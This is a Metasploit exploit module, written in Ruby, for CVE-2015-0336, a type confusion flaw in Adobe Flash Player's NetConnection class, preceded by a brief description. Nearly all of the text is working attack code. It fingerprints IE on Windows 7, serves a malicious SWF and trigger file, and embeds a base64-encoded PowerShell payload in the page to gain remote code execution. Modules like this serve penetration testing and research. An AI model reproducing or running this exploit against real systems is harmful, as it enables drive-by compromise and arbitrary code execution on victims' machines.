This Metasploit module exploits a type confusion vulnerability in the NetConnection class on Adobe Flash Player. When using a correct memory layout this vulnerability allows to corrupt arbitrary memory. It can be used to overwrite dangerous objects, like vectors, and finally accomplish remote code execution. This Metasploit module has been tested successfully on Windows 7 SP1 (32-bit), IE 8 and IE11 with Flash 16.0.0.305.
177e5f47d74fe85d6aa8d57dccbc5f1b1e2484a8de35f89d42b20aef2b6ffe99##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
'Name' => 'Adobe Flash Player NetConnection Type Confusion',
'Description' => %q{
This module exploits a type confusion vulnerability in the NetConnection class on
Adobe Flash Player. When using a correct memory layout this vulnerability allows
to corrupt arbitrary memory. It can be used to overwrite dangerous objects, like
vectors, and finally accomplish remote code execution. This module has been tested
successfully on Windows 7 SP1 (32-bit), IE 8 and IE11 with Flash 16.0.0.305.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Natalie Silvanovich', # Vulnerability discovery and Google Project Zero Exploit
'Unknown', # Exploit in the wild
'juan vazquez' # msf module
],
'References' =>
[
['CVE', '2015-0336'],
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-05.html'],
['URL', 'http://googleprojectzero.blogspot.com/2015/04/a-tale-of-two-exploits.html'],
['URL', 'http://malware.dontneedcoffee.com/2015/03/cve-2015-0336-flash-up-to-1600305-and.html'],
['URL', 'https://www.fireeye.com/blog/threat-research/2015/03/cve-2015-0336_nuclea.html'],
['URL', 'https://blog.malwarebytes.org/exploits-2/2015/03/nuclear-ek-leverages-recently-patched-flash-vulnerability/']
],
'Payload' =>
{
'DisableNops' => true
},
'Platform' => 'win',
'BrowserRequirements' =>
{
:source => /script|headers/i,
:os_name => OperatingSystems::Match::WINDOWS_7,
:ua_name => Msf::HttpClients::IE,
:flash => lambda { |ver| ver =~ /^16\./ && Gem::Version.new(ver) <= Gem::Version.new('16.0.0.305') },
:arch => ARCH_X86
},
'Targets' =>
[
[ 'Automatic', {} ]
],
'Privileged' => false,
'DisclosureDate' => 'Mar 12 2015',
'DefaultTarget' => 0))
end
def exploit
@swf = create_swf
@trigger = create_trigger
super
end
def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")
if request.uri =~ /\.swf$/
print_status('Sending SWF...')
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
return
end
print_status('Sending HTML...')
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end
def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
target_payload = get_payload(cli, target_info)
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
b64_payload = Rex::Text.encode_base64(psh_payload)
trigger_hex_stream = @trigger.unpack('H*')[0]
html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=b64_payload%>&tr=<%=trigger_hex_stream%>" />
<param name="Play" value="true" />
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&tr=<%=trigger_hex_stream%>" Play="true"/>
</object>
</body>
</html>
|
return html_template, binding()
end
def create_swf
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'msf.swf')
swf = ::File.open(path, 'rb') { |f| swf = f.read }
swf
end
def create_trigger
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'trigger.swf')
swf = ::File.open(path, 'rb') { |f| swf = f.read }
swf
end
end
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